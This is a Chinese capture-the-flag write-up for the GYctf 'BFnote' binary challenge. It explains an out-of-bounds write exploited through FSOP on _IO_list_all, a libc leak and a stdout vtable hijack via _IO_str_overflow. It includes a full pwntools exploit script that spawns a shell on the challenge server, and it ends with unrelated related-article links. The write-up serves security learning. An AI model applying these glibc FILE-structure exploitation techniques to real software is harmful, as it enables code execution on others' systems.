这次感受到了自己是多么的菜,打完hgame再来打这个感觉完全不是一个等级的pwn题,第一天只做出来一个,算是比较有质量的题吧,从比赛开始卡到我比赛结束,幸亏最后做出来了。

有两个很明显的溢出,第一个是栈溢出0x600,第二个是bss端0x600,然后程序让你输入notebook size,然后申请了相应大小的内存,然后输入titile size,对title size做了个检验,如果大于之前book size就重新输入,但是这里注意一下,新输入的值赋值给了i,但是第二次read是根据最开始输入的size来的,所以这里存在一个越界写的洞。那么接下来说说我自己的利用思路,踩坑无数才找到。

1.malloc 一个0x20000大小的内存,这样他会紧邻libc,偏移固定,所以可以越界写到libc里。这里我选择写到IO_list_all,把他写上bss段的地址,在bss端里伪造好file结构,控制它的虚表也指向bss段,在里面布置好main函数地址,所以程序在返回的时候通过执行exit函数,通过IO_list_all链表找到文件,从而执行该文件结构虚表里的_IO_flush_all_lockp函数,但是此时这个vtable被我们劫持了,无论调用哪个函数都会调用main函数,程序又跳回,这种利用方式是FSOP,同时我们注意到后面还有个fwrite,会输出我们越界写的地方里的内容,观察内存布局我们不难发现,他紧邻stderr,我们在里面填充好数据,就能顺便把stderr里面的libc数据带出来,从而我们可以leak出libc

2.第二次越界写的时候我的第一个方案是改stdout的虚表,劫持虚表到bss段,bss段上埋好one gadget的地址。但是32位的库下one gadget不是很好用。在查阅资料之后,我发现还有另一种劫持虚表的办法,也就是2.24版本libc加入对vtable check之后的办法。加入的check就是检查虚表是否在libc规定的那个范围内,如果不在,就crash,所以那些大佬把目光投向了紧邻IO file jump的IO str jump,通过改虚表指针为IO str jump,从而改变控制流。

调用fwrite最终会走到调用stdout虚表里的IO_xsputn,查阅资料后,我发现可以将其劫持为IO_str_overflow,因为这里有一个我们可以控制的函数指针,那我们应该怎样更改虚表呢。我们都知道虚表跳转是根据偏移来的,比如这次调用IO_xsputn,是虚表里第六项,而IO_str_overflow是第二项,所以我们可以将IO_file_jumps的地址改成IO_str_jumps的地址减16,也就是说下次再调用xsputn,就会根据相应偏移来找到相应的函数地址,再被劫持后调用xsputn就变成了调用IO_str_overflow,

这里我们可以查下源码,这里有几个条件需要绕过:

1.flag位:flag & 0xC00 != 0x400,这也才能保证之后取到write_ptr的值(a1+20 ;//IDA的这个看不习惯可以去查下相关源码,可以更清晰).

2.write_ptr - write_base >buf_end - buf_base.

3.调试时发现的,应该伪造好_lock处的指针指向的值为0.

这样就可以满足条件从而调用文件结构种偏移152处的函数指针指向的函数,参数是(buf_end - buf_base)*2+100,这样我们第二次越界写的时候就给stdout文件来次大换血,将其各处的值伪造好,从而劫持了控制流。

fake_file我是这样伪造的

fake_file = p32(0) #file_flag
fake_file += p32(0)*3 #read_base read_ptr read_end
fake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_end
fake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_end
fake_file = fake_file.ljust(72,'\x00')
fake_file += p32(0x804a080) #bypass get lock
fake_file = fake_file.ljust(144,'\x00')
fake_file += p32(fake+0x40+12+4)*2+p32(system)*2
Exp如下:
from pwn import *
p = process('./BFnote')
p = remote('node3.buuoj.cn',27361)
elf = ELF('./BFnote')
libc1 = ELF('./libc.so.6')
libc2 = elf.libc
print hex(libc1.symbols['_IO_2_1_stdout_'])
print hex(libc2.symbols['_IO_2_1_stdout_'])
#gdb.attach(p,'b* 0x8048907')
p.recvuntil('Give your description : ')
p.sendline('a'*0x10)
p.recvuntil('Give your postscript : ')
fake_file = p32(0xfbad2086)
fake_file += p32(0x0)*3+p32(0x0)+p32(0x1)
fake_file = fake_file.ljust(0x94,'\x00')
fake_file += p32(0x804a060+0xa0)
fake_file = fake_file.ljust(0xa0,'\x00')
fake_file += p32(0x8048761)*20
p.sendline(fake_file)
p.recvuntil('Give your notebook size : ')
p.sendline(str(0x20000))
p.recvuntil('Give your title size : ')
#size = 0x22000+0x1b3ca0
p.sendline(str(0x1b3ca0+0x20fe8-0x2000)) #remote
p.sendline(str(0x1b3ca0+0x20fe8))
p.recvuntil('invalid ! please re-enter :\n')
p.sendline(str(0x10))
p.recvuntil('Give your title : ')
p.sendline('a'*0x8)
p.recvuntil('Give your note : ')
p.sendline(p32(0x804a060)*2+'a'*0x4c)
p.recvuntil('a'*0x4c)
libc_addr = u32(p.recv(4))
libc_err = libc_addr - 74
#libc_base = libc_err - libc2.symbols['_IO_2_1_stderr_']
libc_base = libc_err - libc1.symbols['_IO_2_1_stderr_'] #remote
system = libc_base + libc1.symbols['system'] #remote
#system = libc_base + libc2.symbols['system']
print hex(system)
print '[+]stderr_addr: '+hex(libc_err)
print '[+]libc_base: '+hex(libc_base)
print '[+]system_addr: '+hex(system)
p.recvuntil('Give your description : ')
p.sendline('\x00'*0x10)
p.recvuntil('Give your postscript : ')
p.sendline('/bin/sh'.ljust(0x100,'\x00'))
p.recvuntil('Give your notebook size : ')
p.sendline(str(0x20000))
p.recvuntil('Give your title size : ')
#size = 0x43000 + libc1.symbols['_IO_2_1_stdout_']+0x90 #remote
size = 0x43000 + libc2.symbols['_IO_2_1_stdout_']+0x90
fake = libc_base + libc1.symbols['_IO_file_jumps'] #remote
#fake = libc_base + libc2.symbols['_IO_file_jumps']
print hex(size)
p.sendline(str(size-0xa8-0x2000)) #remote
p.sendline(str(size-0xa8))
p.recvuntil('invalid ! please re-enter :\n')
p.sendline(str(0x10))
p.recvuntil('Give your title : ')
p.sendline('a'*0x8)
p.recvuntil('Give your note : ')
fake_file = p32(0) #file_flag
fake_file += p32(0)*3 #read_base read_ptr read_end
fake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_end
fake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_end
fake_file = fake_file.ljust(72,'\x00')
fake_file += p32(0x804a080) #bypass get lock
fake_file = fake_file.ljust(144,'\x00')
fake_file += p32(fake+0x40+12+4)*2+p32(system)*2
p.sendline(fake_file)
#gdb.attach(p)
p.interactive()

总结一下:

发现越界写的漏洞,第一次越界写IO list all,利用FSOP是程序重新跳回main函数执行,同时填充缓冲区使其在调用fwrite时可以leak出libc地址,第二次越界写就篡改stdout文件,劫持其虚表,从而getshell

点击阅读原文做实验:《缓冲区溢出基础与实践》
http://www.hetianlab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de

(了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法,学会进行常见的缓冲区溢出攻击。)

点击阅读原文做实验

干货精选:2019原创干货集锦 | 掌握学习主动权

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

看都看完了,还不点这里试试

GYctf-BFnote IO_FILE还可以这样利用相关推荐

  1. 废旧的电脑硬盘还可以这样利用起来,太赞了!!

    今天笔者带大家了解一下如今我们家中的废旧电脑的有关小妙招吧,相信这些小技巧一定会让各位读者了解到更多新奇的小知识.我们都知道进入本世纪以来电脑逐渐走进千家万户,家用电脑也由原来的台式机不断缩小体积变得 ...

  2. 如何查看光驱硬盘托架的尺寸_「二次利用」没想到废光驱电机还可以这样利用...

    废光驱电机改无刷电机,这里说的无刷电机是微型的电机,用于遥控模型飞机做动力的.其实就是微型的三相交流电机了.要使用专用的无刷电调来驱动. 拆开废光驱,拆下光盘驱动电机,各种品牌的结构尺寸可能不大一样. ...

  3. IO_FILE 与高版本 glibc 中的漏洞利用技巧

    前言 在日常的二进制漏洞利用过程中,最终在获取到任意地址读写之都会面临一个问题: 要从哪里读,写到哪里去.对于信息泄露有很多方法,比如寻找一些数据结构在内存中残留的地址,可以是内部结构,也可以是用户定 ...

  4. 利用Python渗透实现沙箱逃逸,看黑客是如何绕过网站的防护的?

    让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中.沙 ...

  5. 借助gdb调试glibc代码学习House of Orange

    转自: https://bbs.pediy.com/thread-251195.htm house_of_orange https://www.jianshu.com/p/1e45b785efc1 借 ...

  6. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

  7. pwn题堆利用的一些姿势 -- IO_FILE

    IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...

  8. linux IO_FILE 利用

    FILE 结构 IO FILE 定义的各种主要结构关系如下图所示. 各种文件结构采用单链表的形式连接起来,通过 _IO_list_all 访问. vatble 为函数指针结构体,存放着各种 IO 相关 ...

  9. sctf_2019_easy_heap off-by-null劫持IO_FILE,理解 0ctf2015 free_note unsortedbin-double_free使用

    sctf_2019_easy_heap 分析以及漏洞点 本身off-by-null没什么可以再说的,但是这道题没有show函数,就必须想到要劫持IO_FILE.但是之前就一直有个问题就是既然unsor ...

最新文章

  1. NLP入门之路及学习方法:从任务实践入手!
  2. 导师:CNN 开山之作 AlexNet 都复现不了,延毕吧!
  3. 著名ERP厂商的SSO单点登录解决方案介绍一
  4. c语言第四章循环程序设计,C语言程序设计教程第4章-循环结构程序设计
  5. ubuntu第一次设置root密码
  6. 优秀的领导与差劲的领导
  7. CF-1023F.Mobile Phone Network(并查集缩点)
  8. 二进制转base64
  9. HDU:4185-Oil Skimming
  10. 我是 Spring 菜鸟 -- 初始化方法 TODO
  11. 业界首发|云原生领域首本架构白皮书重磅发布
  12. 分享Silverlight/WPF/Windows Phone/HTML5一周学习导读(1月9日-1月15日)
  13. 动态代理和静态代理的区别_动态代理与静态代理
  14. 如何查看VS命令行选项,并使用命令卸载VS
  15. 计算机中官方文档阅读方法,中国知网-帮助中心
  16. 打印容器_化妆品公司购买3D打印机能干什么?
  17. iOS 屏幕旋转的实践解析
  18. Uva--10098 (next_permutation)
  19. 牛客假日团队赛6 F:Mud Puddles
  20. 华为交换机的基本配置命令

热门文章

  1. 远程桌面无法连接解决办法
  2. C语言实现3个数的最小公倍数和最大公约数
  3. ubuntu 16.04硬盘分区方案
  4. JavaScript 实现表格隔行变色
  5. pip升级失败,pip拒绝访问
  6. Scapy:查看sniff函数抓取的包
  7. C# 导入EXCEL 报错外部表不是预期的格式错误
  8. 真心有用!神器 Jupyter 的可视化 Debug!
  9. 堆、栈、堆栈的区别(总结)
  10. YOLOv5火焰识别